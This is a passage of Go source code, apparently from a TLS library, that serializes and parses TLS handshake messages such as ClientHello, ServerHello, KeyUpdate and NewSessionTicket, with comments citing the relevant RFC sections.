Section 4.2.1\n\t\t\t\tb.AddUint16(extensionSupportedVersions)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, vers := range m.supportedVersions {\n\t\t\t\t\t\t\tb.AddUint16(vers)\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.cookie) > 0 {\n\t\t\t\t// RFC 8446, Section 4.2.2\n\t\t\t\tb.AddUint16(extensionCookie)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.cookie)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.keyShares) > 0 {\n\t\t\t\t// RFC 8446, Section 4.2.8\n\t\t\t\tb.AddUint16(extensionKeyShare)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, ks := range m.keyShares {\n\t\t\t\t\t\t\tb.AddUint16(uint16(ks.group))\n\t\t\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\t\tb.AddBytes(ks.data)\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.earlyData {\n\t\t\t\t// RFC 8446, Section 4.2.10\n\t\t\t\tb.AddUint16(extensionEarlyData)\n\t\t\t\tb.AddUint16(0) // empty extension_data\n\t\t\t}\n\t\t\tif len(m.pskModes) > 0 {\n\t\t\t\t// RFC 8446, Section 4.2.9\n\t\t\t\tb.AddUint16(extensionPSKModes)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.pskModes)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\n\t\t\textensionsPresent = len(b.BytesOrPanic()) > 2\n\t\t})\n\n\t\tif !extensionsPresent {\n\t\t\t*b = bWithoutExtensions\n\t\t}\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\n// marshalWithoutBinders returns the ClientHello through the\n// PreSharedKeyExtension.identities field, according to RFC 8446, Section\n// 4.2.11.2. Note that m.pskBinders must be set to slices of the correct length.\nfunc (m *clientHelloMsg) marshalWithoutBinders() []byte {\n\tbindersLen := 2 // uint16 length prefix\n\tfor _, binder := range m.pskBinders {\n\t\tbindersLen += 1 // uint8 length prefix\n\t\tbindersLen += len(binder)\n\t}\n\n\tfullMessage := m.marshal()\n\treturn fullMessage[:len(fullMessage)-bindersLen]\n}\n\n// updateBinders updates the m.pskBinders field, if necessary updating the\n// cached marshaled representation. The supplied binders must have the same\n// length as the current m.pskBinders.\nfunc (m *clientHelloMsg) updateBinders(pskBinders [][]byte) {\n\tif len(pskBinders) != len(m.pskBinders) {\n\t\tpanic(\"tls: internal error: pskBinders length mismatch\")\n\t}\n\tfor i := range m.pskBinders {\n\t\tif len(pskBinders[i]) != len(m.pskBinders[i]) {\n\t\t\tpanic(\"tls: internal error: pskBinders length mismatch\")\n\t\t}\n\t}\n\tm.pskBinders = pskBinders\n\tif m.raw != nil {\n\t\tlenWithoutBinders := len(m.marshalWithoutBinders())\n\t\t// TODO(filippo): replace with NewFixedBuilder once CL 148882 is imported.\n\t\tb := cryptobyte.NewBuilder(m.raw[:lenWithoutBinders])\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tfor _, binder := range m.pskBinders {\n\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddBytes(binder)\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t\tif len(b.BytesOrPanic()) != len(m.raw) {\n\t\t\tpanic(\"tls: internal error: failed to update binders\")\n\t\t}\n\t}\n}\n\nfunc (m *clientHelloMsg) unmarshal(data []byte) bool {\n\t*m = clientHelloMsg{raw: data}\n\ts := cryptobyte.String(data)\n\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) ||\n\t\t!readUint8LengthPrefixed(&s, &m.sessionId) {\n\t\treturn false\n\t}\n\n\tvar cipherSuites cryptobyte.String\n\tif !s.ReadUint16LengthPrefixed(&cipherSuites) {\n\t\treturn false\n\t}\n\tm.cipherSuites = []uint16{}\n\tm.secureRenegotiationSupported = false\n\tfor !cipherSuites.Empty() {\n\t\tvar suite uint16\n\t\tif !cipherSuites.ReadUint16(&suite) {\n\t\t\treturn false\n\t\t}\n\t\tif suite == scsvRenegotiation {\n\t\t\tm.secureRenegotiationSupported = true\n\t\t}\n\t\tm.cipherSuites = append(m.cipherSuites, suite)\n\t}\n\n\tif !readUint8LengthPrefixed(&s, &m.compressionMethods) {\n\t\treturn false\n\t}\n\n\tif s.Empty() {\n\t\t// ClientHello is optionally followed by extension data\n\t\treturn true\n\t}\n\n\tvar extensions cryptobyte.String\n\tif !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() {\n\t\treturn false\n\t}\n\n\tfor !extensions.Empty() {\n\t\tvar extension uint16\n\t\tvar extData cryptobyte.String\n\t\tif !extensions.ReadUint16(&extension) ||\n\t\t\t!extensions.ReadUint16LengthPrefixed(&extData) {\n\t\t\treturn false\n\t\t}\n\n\t\tswitch extension {\n\t\tcase extensionServerName:\n\t\t\t// RFC 6066, Section 3\n\t\t\tvar nameList cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&nameList) || nameList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !nameList.Empty() {\n\t\t\t\tvar nameType uint8\n\t\t\t\tvar serverName cryptobyte.String\n\t\t\t\tif !nameList.ReadUint8(&nameType) ||\n\t\t\t\t\t!nameList.ReadUint16LengthPrefixed(&serverName) ||\n\t\t\t\t\tserverName.Empty() {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tif nameType != 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif len(m.serverName) != 0 {\n\t\t\t\t\t// Multiple names of the same name_type are prohibited.\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.serverName = string(serverName)\n\t\t\t\t// An SNI value may not include a trailing dot.\n\t\t\t\tif strings.HasSuffix(m.serverName, \".\") {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\tcase extensionStatusRequest:\n\t\t\t// RFC 4366, Section 3.6\n\t\t\tvar statusType uint8\n\t\t\tvar ignored cryptobyte.String\n\t\t\tif !extData.ReadUint8(&statusType) ||\n\t\t\t\t!extData.ReadUint16LengthPrefixed(&ignored) ||\n\t\t\t\t!extData.ReadUint16LengthPrefixed(&ignored) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tm.ocspStapling = statusType == statusTypeOCSP\n\t\tcase extensionSupportedCurves:\n\t\t\t// RFC 4492, sections 5.1.1 and RFC 8446, Section 4.2.7\n\t\t\tvar curves cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&curves) || curves.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !curves.Empty() {\n\t\t\t\tvar curve uint16\n\t\t\t\tif !curves.ReadUint16(&curve) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.supportedCurves = append(m.supportedCurves, CurveID(curve))\n\t\t\t}\n\t\tcase extensionSupportedPoints:\n\t\t\t// RFC 4492, Section 5.1.2\n\t\t\tif !readUint8LengthPrefixed(&extData, &m.supportedPoints) ||\n\t\t\t\tlen(m.supportedPoints) == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase extensionSessionTicket:\n\t\t\t// RFC 5077, Section 3.2\n\t\t\tm.ticketSupported = true\n\t\t\textData.ReadBytes(&m.sessionTicket, len(extData))\n\t\tcase extensionSignatureAlgorithms:\n\t\t\t// RFC 5246, Section 7.4.1.4.1\n\t\t\tvar sigAndAlgs cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !sigAndAlgs.Empty() {\n\t\t\t\tvar sigAndAlg uint16\n\t\t\t\tif !sigAndAlgs.ReadUint16(&sigAndAlg) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.supportedSignatureAlgorithms = append(\n\t\t\t\t\tm.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg))\n\t\t\t}\n\t\tcase extensionSignatureAlgorithmsCert:\n\t\t\t// RFC 8446, Section 4.2.3\n\t\t\tvar sigAndAlgs cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !sigAndAlgs.Empty() {\n\t\t\t\tvar sigAndAlg uint16\n\t\t\t\tif !sigAndAlgs.ReadUint16(&sigAndAlg) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.supportedSignatureAlgorithmsCert = append(\n\t\t\t\t\tm.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg))\n\t\t\t}\n\t\tcase extensionRenegotiationInfo:\n\t\t\t// RFC 5746, Section 3.2\n\t\t\tif !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tm.secureRenegotiationSupported = true\n\t\tcase extensionALPN:\n\t\t\t// RFC 7301, Section 3.1\n\t\t\tvar protoList cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !protoList.Empty() {\n\t\t\t\tvar proto cryptobyte.String\n\t\t\t\tif !protoList.ReadUint8LengthPrefixed(&proto) || proto.Empty() {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.alpnProtocols = append(m.alpnProtocols, string(proto))\n\t\t\t}\n\t\tcase extensionSCT:\n\t\t\t// RFC 6962, Section 3.3.1\n\t\t\tm.scts = true\n\t\tcase extensionSupportedVersions:\n\t\t\t// RFC 8446, Section 4.2.1\n\t\t\tvar versList cryptobyte.String\n\t\t\tif !extData.ReadUint8LengthPrefixed(&versList) || versList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !versList.Empty() {\n\t\t\t\tvar vers uint16\n\t\t\t\tif !versList.ReadUint16(&vers) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.supportedVersions = append(m.supportedVersions, vers)\n\t\t\t}\n\t\tcase extensionCookie:\n\t\t\t// RFC 8446, Section 4.2.2\n\t\t\tif !readUint16LengthPrefixed(&extData, &m.cookie) ||\n\t\t\t\tlen(m.cookie) == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase extensionKeyShare:\n\t\t\t// RFC 8446, Section 4.2.8\n\t\t\tvar clientShares cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&clientShares) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !clientShares.Empty() {\n\t\t\t\tvar ks keyShare\n\t\t\t\tif !clientShares.ReadUint16((*uint16)(&ks.group)) ||\n\t\t\t\t\t!readUint16LengthPrefixed(&clientShares, &ks.data) ||\n\t\t\t\t\tlen(ks.data) == 0 {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.keyShares = append(m.keyShares, ks)\n\t\t\t}\n\t\tcase extensionEarlyData:\n\t\t\t// RFC 8446, Section 4.2.10\n\t\t\tm.earlyData = true\n\t\tcase extensionPSKModes:\n\t\t\t// RFC 8446, Section 4.2.9\n\t\t\tif !readUint8LengthPrefixed(&extData, &m.pskModes) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase extensionPreSharedKey:\n\t\t\treturn false\n\t\tdefault:\n\t\t\t// Ignore unknown extensions.\n\t\t\tcontinue\n\t\t}\n\n\t\tif !extData.Empty() {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype serverHelloMsg struct {\n\traw                          []byte\n\tvers                         uint16\n\trandom                       []byte\n\tsessionId                    []byte\n\tcipherSuite                  uint16\n\tcompressionMethod            uint8\n\tocspStapling                 bool\n\tticketSupported              bool\n\tsecureRenegotiationSupported bool\n\tsecureRenegotiation          []byte\n\talpnProtocol                 string\n\tscts                         [][]byte\n\tsupportedVersion             uint16\n\tserverShare                  keyShare\n\tselectedIdentityPresent      bool\n\tselectedIdentity             uint16\n\tsupportedPoints              []uint8\n\n\t// HelloRetryRequest extensions\n\tcookie        []byte\n\tselectedGroup CurveID\n}\n\nfunc (m *serverHelloMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeServerHello)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddUint16(m.vers)\n\t\taddBytesWithLength(b, m.random, 32)\n\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.sessionId)\n\t\t})\n\t\tb.AddUint16(m.cipherSuite)\n\t\tb.AddUint8(m.compressionMethod)\n\n\t\t// If extensions aren't present, omit them.\n\t\tvar extensionsPresent bool\n\t\tbWithoutExtensions := *b\n\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tif m.ocspStapling {\n\t\t\t\tb.AddUint16(extensionStatusRequest)\n\t\t\t\tb.AddUint16(0) // empty extension_data\n\t\t\t}\n\t\t\tif m.ticketSupported {\n\t\t\t\tb.AddUint16(extensionSessionTicket)\n\t\t\t\tb.AddUint16(0) // empty extension_data\n\t\t\t}\n\t\t\tif m.secureRenegotiationSupported {\n\t\t\t\tb.AddUint16(extensionRenegotiationInfo)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.secureRenegotiation)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.alpnProtocol) > 0 {\n\t\t\t\tb.AddUint16(extensionALPN)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\tb.AddBytes([]byte(m.alpnProtocol))\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.scts) > 0 {\n\t\t\t\tb.AddUint16(extensionSCT)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tfor _, sct := range m.scts {\n\t\t\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\t\tb.AddBytes(sct)\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.supportedVersion != 0 {\n\t\t\t\tb.AddUint16(extensionSupportedVersions)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16(m.supportedVersion)\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.serverShare.group != 0 {\n\t\t\t\tb.AddUint16(extensionKeyShare)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16(uint16(m.serverShare.group))\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.serverShare.data)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.selectedIdentityPresent {\n\t\t\t\tb.AddUint16(extensionPreSharedKey)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16(m.selectedIdentity)\n\t\t\t\t})\n\t\t\t}\n\n\t\t\tif len(m.cookie) > 0 {\n\t\t\t\tb.AddUint16(extensionCookie)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.cookie)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t\tif m.selectedGroup != 0 {\n\t\t\t\tb.AddUint16(extensionKeyShare)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16(uint16(m.selectedGroup))\n\t\t\t\t})\n\t\t\t}\n\t\t\tif len(m.supportedPoints) > 0 {\n\t\t\t\tb.AddUint16(extensionSupportedPoints)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddBytes(m.supportedPoints)\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\n\t\t\textensionsPresent = len(b.BytesOrPanic()) > 2\n\t\t})\n\n\t\tif !extensionsPresent {\n\t\t\t*b = bWithoutExtensions\n\t\t}\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *serverHelloMsg) unmarshal(data []byte) bool {\n\t*m = serverHelloMsg{raw: data}\n\ts := cryptobyte.String(data)\n\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint16(&m.vers) || !s.ReadBytes(&m.random, 32) ||\n\t\t!readUint8LengthPrefixed(&s, &m.sessionId) ||\n\t\t!s.ReadUint16(&m.cipherSuite) ||\n\t\t!s.ReadUint8(&m.compressionMethod) {\n\t\treturn false\n\t}\n\n\tif s.Empty() {\n\t\t// ServerHello is optionally followed by extension data\n\t\treturn true\n\t}\n\n\tvar extensions cryptobyte.String\n\tif !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() {\n\t\treturn false\n\t}\n\n\tfor !extensions.Empty() {\n\t\tvar extension uint16\n\t\tvar extData cryptobyte.String\n\t\tif !extensions.ReadUint16(&extension) ||\n\t\t\t!extensions.ReadUint16LengthPrefixed(&extData) {\n\t\t\treturn false\n\t\t}\n\n\t\tswitch extension {\n\t\tcase extensionStatusRequest:\n\t\t\tm.ocspStapling = true\n\t\tcase extensionSessionTicket:\n\t\t\tm.ticketSupported = true\n\t\tcase extensionRenegotiationInfo:\n\t\t\tif !readUint8LengthPrefixed(&extData, &m.secureRenegotiation) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tm.secureRenegotiationSupported = true\n\t\tcase extensionALPN:\n\t\t\tvar protoList cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tvar proto cryptobyte.String\n\t\t\tif !protoList.ReadUint8LengthPrefixed(&proto) ||\n\t\t\t\tproto.Empty() || !protoList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tm.alpnProtocol = string(proto)\n\t\tcase extensionSCT:\n\t\t\tvar sctList cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfor !sctList.Empty() {\n\t\t\t\tvar sct []byte\n\t\t\t\tif !readUint16LengthPrefixed(&sctList, &sct) ||\n\t\t\t\t\tlen(sct) == 0 {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tm.scts = append(m.scts, sct)\n\t\t\t}\n\t\tcase extensionSupportedVersions:\n\t\t\tif !extData.ReadUint16(&m.supportedVersion) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase extensionCookie:\n\t\t\tif !readUint16LengthPrefixed(&extData, &m.cookie) ||\n\t\t\t\tlen(m.cookie) == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase extensionKeyShare:\n\t\t\t// This extension has different formats in SH and HRR, accept either\n\t\t\t// and let the handshake logic decide. See RFC 8446, Section 4.2.8.\n\t\t\tif len(extData) == 2 {\n\t\t\t\tif !extData.ReadUint16((*uint16)(&m.selectedGroup)) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif !extData.ReadUint16((*uint16)(&m.serverShare.group)) ||\n\t\t\t\t\t!readUint16LengthPrefixed(&extData, &m.serverShare.data) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\tcase extensionPreSharedKey:\n\t\t\tm.selectedIdentityPresent = true\n\t\t\tif !extData.ReadUint16(&m.selectedIdentity) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase extensionSupportedPoints:\n\t\t\t// RFC 4492, Section 5.1.2\n\t\t\tif !readUint8LengthPrefixed(&extData, &m.supportedPoints) ||\n\t\t\t\tlen(m.supportedPoints) == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\tdefault:\n\t\t\t// Ignore unknown extensions.\n\t\t\tcontinue\n\t\t}\n\n\t\tif !extData.Empty() {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype encryptedExtensionsMsg struct {\n\traw          []byte\n\talpnProtocol string\n}\n\nfunc (m *encryptedExtensionsMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeEncryptedExtensions)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tif len(m.alpnProtocol) > 0 {\n\t\t\t\tb.AddUint16(extensionALPN)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\t\t\tb.AddBytes([]byte(m.alpnProtocol))\n\t\t\t\t\t\t})\n\t\t\t\t\t})\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *encryptedExtensionsMsg) unmarshal(data []byte) bool {\n\t*m = encryptedExtensionsMsg{raw: data}\n\ts := cryptobyte.String(data)\n\n\tvar extensions cryptobyte.String\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() {\n\t\treturn false\n\t}\n\n\tfor !extensions.Empty() {\n\t\tvar extension uint16\n\t\tvar extData cryptobyte.String\n\t\tif !extensions.ReadUint16(&extension) ||\n\t\t\t!extensions.ReadUint16LengthPrefixed(&extData) {\n\t\t\treturn false\n\t\t}\n\n\t\tswitch extension {\n\t\tcase extensionALPN:\n\t\t\tvar protoList cryptobyte.String\n\t\t\tif !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tvar proto cryptobyte.String\n\t\t\tif !protoList.ReadUint8LengthPrefixed(&proto) ||\n\t\t\t\tproto.Empty() || !protoList.Empty() {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tm.alpnProtocol = string(proto)\n\t\tdefault:\n\t\t\t// Ignore unknown extensions.\n\t\t\tcontinue\n\t\t}\n\n\t\tif !extData.Empty() {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype endOfEarlyDataMsg struct{}\n\nfunc (m *endOfEarlyDataMsg) marshal() []byte {\n\tx := make([]byte, 4)\n\tx[0] = typeEndOfEarlyData\n\treturn x\n}\n\nfunc (m *endOfEarlyDataMsg) unmarshal(data []byte) bool {\n\treturn len(data) == 4\n}\n\ntype keyUpdateMsg struct {\n\traw             []byte\n\tupdateRequested bool\n}\n\nfunc (m *keyUpdateMsg) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeKeyUpdate)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tif m.updateRequested {\n\t\t\tb.AddUint8(1)\n\t\t} else {\n\t\t\tb.AddUint8(0)\n\t\t}\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *keyUpdateMsg) unmarshal(data []byte) bool {\n\tm.raw = data\n\ts := cryptobyte.String(data)\n\n\tvar updateRequested uint8\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint8(&updateRequested) || !s.Empty() {\n\t\treturn false\n\t}\n\tswitch updateRequested {\n\tcase 0:\n\t\tm.updateRequested = false\n\tcase 1:\n\t\tm.updateRequested = true\n\tdefault:\n\t\treturn false\n\t}\n\treturn true\n}\n\ntype newSessionTicketMsgTLS13 struct {\n\traw          []byte\n\tlifetime     uint32\n\tageAdd       uint32\n\tnonce        []byte\n\tlabel        []byte\n\tmaxEarlyData uint32\n}\n\nfunc (m *newSessionTicketMsgTLS13) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeNewSessionTicket)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\tb.AddUint32(m.lifetime)\n\t\tb.AddUint32(m.ageAdd)\n\t\tb.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.nonce)\n\t\t})\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tb.AddBytes(m.label)\n\t\t})\n\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tif m.maxEarlyData > 0 {\n\t\t\t\tb.AddUint16(extensionEarlyData)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\t\t\tb.AddUint32(m.maxEarlyData)\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t})\n\n\tm.raw = b.BytesOrPanic()\n\treturn m.raw\n}\n\nfunc (m *newSessionTicketMsgTLS13) unmarshal(data []byte) bool {\n\t*m = newSessionTicketMsgTLS13{raw: data}\n\ts := cryptobyte.String(data)\n\n\tvar extensions cryptobyte.String\n\tif !s.Skip(4) || // message type and uint24 length field\n\t\t!s.ReadUint32(&m.lifetime) ||\n\t\t!s.ReadUint32(&m.ageAdd) ||\n\t\t!readUint8LengthPrefixed(&s, &m.nonce) ||\n\t\t!readUint16LengthPrefixed(&s, &m.label) ||\n\t\t!s.ReadUint16LengthPrefixed(&extensions) ||\n\t\t!s.Empty() {\n\t\treturn false\n\t}\n\n\tfor !extensions.Empty() {\n\t\tvar extension uint16\n\t\tvar extData cryptobyte.String\n\t\tif !extensions.ReadUint16(&extension) ||\n\t\t\t!extensions.ReadUint16LengthPrefixed(&extData) {\n\t\t\treturn false\n\t\t}\n\n\t\tswitch extension {\n\t\tcase extensionEarlyData:\n\t\t\tif !extData.ReadUint32(&m.maxEarlyData) {\n\t\t\t\treturn false\n\t\t\t}\n\t\tdefault:\n\t\t\t// Ignore unknown extensions.\n\t\t\tcontinue\n\t\t}\n\n\t\tif !extData.Empty() {\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\ntype certificateRequestMsgTLS13 struct {\n\traw                              []byte\n\tocspStapling                     bool\n\tscts                             bool\n\tsupportedSignatureAlgorithms     []SignatureScheme\n\tsupportedSignatureAlgorithmsCert []SignatureScheme\n\tcertificateAuthorities           [][]byte\n}\n\nfunc (m *certificateRequestMsgTLS13) marshal() []byte {\n\tif m.raw != nil {\n\t\treturn m.raw\n\t}\n\n\tvar b cryptobyte.Builder\n\tb.AddUint8(typeCertificateRequest)\n\tb.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t// certificate_request_context (SHALL be zero length unless used for\n\t\t// post-handshake authentication)\n\t\tb.AddUint8(0)\n\n\t\tb.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) {\n\t\t\tif m.ocspStapling {\n\t\t\t\tb.AddUint16(extensionStatusRequest)\n\t\t\t\tb.AddUint16(0) // empty extension_data\n\t\t\t}\n\t\t\tif m.scts {\n\t\t\t\t// RFC 8446, Section 4.4.2.1 makes no mention of\n\t\t\t\t// signed_certificate_timestamp in CertificateRequest, but\n\t\t\t\t// \"Extensions in the Certificate message from the client MUST\n\t\t\t\t// correspond to extensions in the CertificateRequest message\n\t\t\t\t// from the server.\" and it appears in the table in Section 4.2.\n\t\t\t\tb.AddUint16(extensionSCT)\n\t\t\t\tb.AddUint16(0) // empty extension_data\n\t\t\t}\n\t\t\tif len(m.supportedSignatureAlgorithms) > 0 {\n\t\t\t\tb.AddUint16(extensionSignatureAlgorithms)\n\t\t\t\tb.AddUint16LengthPrefixed(func(b 